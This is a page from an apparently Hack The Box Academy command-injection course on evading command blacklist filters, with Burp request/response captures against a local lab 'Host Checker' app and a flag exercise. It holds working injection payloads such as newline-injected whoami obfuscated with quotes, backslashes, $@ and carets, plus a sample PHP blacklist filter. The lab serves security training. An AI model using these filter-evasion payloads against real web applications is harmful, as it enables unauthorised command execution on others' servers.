

## COMMAND INJECTIONS ❤

Page 8 / Bypassing Blacklisted Commands

## Bypassing Blacklisted Commands

We have discussed various methods for bypassing single-character filters. However, there are different methods when it comes to bypassing blacklisted commands. A command blacklist usually consists of a set of words, and if we can obfuscate our commands and make them look different, we may be able to bypass the filters.

There are various methods of command obfuscation that vary in complexity, as we will touch upon later with command obfuscation tools. We will cover a few basic techniques that may enable us to change the look of our command to bypass filters manually.

### Commands Blacklist

We have so far successfully bypassed the character filter for the space and semi-colon characters in our payload. So, let us go back to our very first payload and re-add the `whoami` command to see if it gets executed:

```
Request
Pretty Raw Hex \n ⌂
1 POST / HTTP/1.1
2 Host: 127.0.0.1
3 Content-Length: 21
4 Cache-Control: max-age=0
5 sec-ch-ua: "Chromium";v="91", "Not;A Brand";v="99"
6 sec-ch-ua-mobile: ?0
7 Upgrade-Insecure-Requests: 1
8 Origin: http://127.0.0.1
9 Content-Type: application/x-www-form-urlencoded
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-User: ?1
15 Sec-Fetch-Dest: document
16 Referer: http://127.0.0.1/
17 Accept-Encoding: gzip, deflate
18 Accept-Language: en-US,en;q=0.5
19 Connection: close
20
21 ip=127.0.0.1%0awhoami
```

```
Response
Pretty Raw Hex Render \n ⌂
16 </head>
17 <body>
18 <div class="main">
19   <h1>Host Checker</h1>
20   <form method="post" action="">
21     <label>Enter an IP Address</label>
22     <input type="text" name="ip" placeholder="127.0.0.1">
23     <button type="submit">Check</button>
24   </form>
25   <pre>
26     Invalid input
27   </pre>
28 </p>
```

We see that even though we used characters that are not blocked by the web application, the request gets blocked again once we added our command. This is likely due to another type of filter, which is a command blacklist filter.

A basic command blacklist filter in `PHP` would look like the following:

Code: `php`

```
$blackList = ['whoami', 'cat', ...SNIP...];
foreach ($blackList as $word) {
    if (strpos($_POST['ip'], $word)) {
        echo "Invalid input";
    }
}
```

As we can see, it is checking each word of the user input to see if it matches any of the blacklisted words. However, this code is looking for an exact match of the provided command, so if we send a slightly different command, it may not get blocked.

Luckily, we can utilize various obfuscation techniques that will execute our command without using the exact command word.

### Linux & Windows

One very common and easy obfuscation technique is inserting certain characters within our command that are usually ignored by command shells like `Bash` or `PowerShell` and will execute the same command as if they were not there. Some of these characters are a single-quote `'` and a double-quote `"`, in addition to a few others.

The easiest to use are quotes, and they work on both Linux and Windows servers. For example, if we want to obfuscate the `whoami` command, we can insert single quotes between its characters, as follows:

```
21y4d@htb[/htb]$ w\"h'o'am\'i
21y4d
```

The same works with double-quotes as well:

```
21y4d@htb[/htb]$ w\"h\"o\"am\"i
21y4d
```

The important things to remember are that `we cannot mix types of quotes` and `the number of quotes must be even`. We can try one of the above in our payload (`127.0.0.1%0aw'h'o'am'i`) and see if it works:

### Burp POST Request

```
Request
Pretty Raw Hex \n ⌂
1 POST / HTTP/1.1
2 Host: 127.0.0.1
3 Content-Length: 25
4 Cache-Control: max-age=0
5 sec-ch-ua: "Chromium";v="91", "Not;A Brand";v="99"
6 sec-ch-ua-mobile: ?0
7 Upgrade-Insecure-Requests: 1
8 Origin: http://127.0.0.1
9 Content-Type: application/x-www-form-urlencoded
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: navigate
14 Sec-Fetch-User: ?1
15 Sec-Fetch-Dest: document
16 Referer: http://127.0.0.1/
17 Accept-Encoding: gzip, deflate
18 Accept-Language: en-US,en;q=0.5
19 Connection: close
20
21 ip=127.0.0.1%0aw'h'o'am'i
```

```
Response
Pretty Raw Hex Render \n ⌂
22   <h1>Host Checker</h1>
23   <form method="post" action="">
24     <label>Enter an IP Address</label>
25     <input type="text" name="ip" placeholder="127.0.0.1" pattern="">
26     <button type="submit">Check</button>
27   </form>
28   <pre>
29     PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
30       64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
31
32     --- 127.0.0.1 ping statistics ---
33     1 packets transmitted, 1 received, 0% packet loss, time 0ms
34     rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
35   </pre>
36
37 </p>
```

As we can see, this method indeed works.

### Linux Only

We can insert a few other Linux-only characters in the middle of commands, and the `bash` shell would ignore them and execute the command. These characters include the backslash `\` and the positional parameter character `$@`. This works exactly as it did with the quotes, but in this case, `the number of characters do not have to be even`, and we can insert just one of them if we want to:

Code: `bash`

```
who$@ami
```

```
w\ho\am\i
```

Exercise: Try the above two examples in your payload, and see if they work in bypassing the command filter. If they do not, this may indicate that you may have used a filtered character. Would you be able to bypass that as well, using the techniques we learned in the previous section?

### Windows Only

There are also some Windows-only characters we can insert in the middle of commands that do not affect the outcome, like a caret `^` character, as we can see in the following example:

```
C:\htb> who^am\i
21y4d
```

In the next section, we will discuss some more advanced techniques for command obfuscation and filter bypassing.

### Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: Click here to spawn the target system!

+ 2 Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found.

Submit your answer here...

Submit

Hint

← Previous

Next →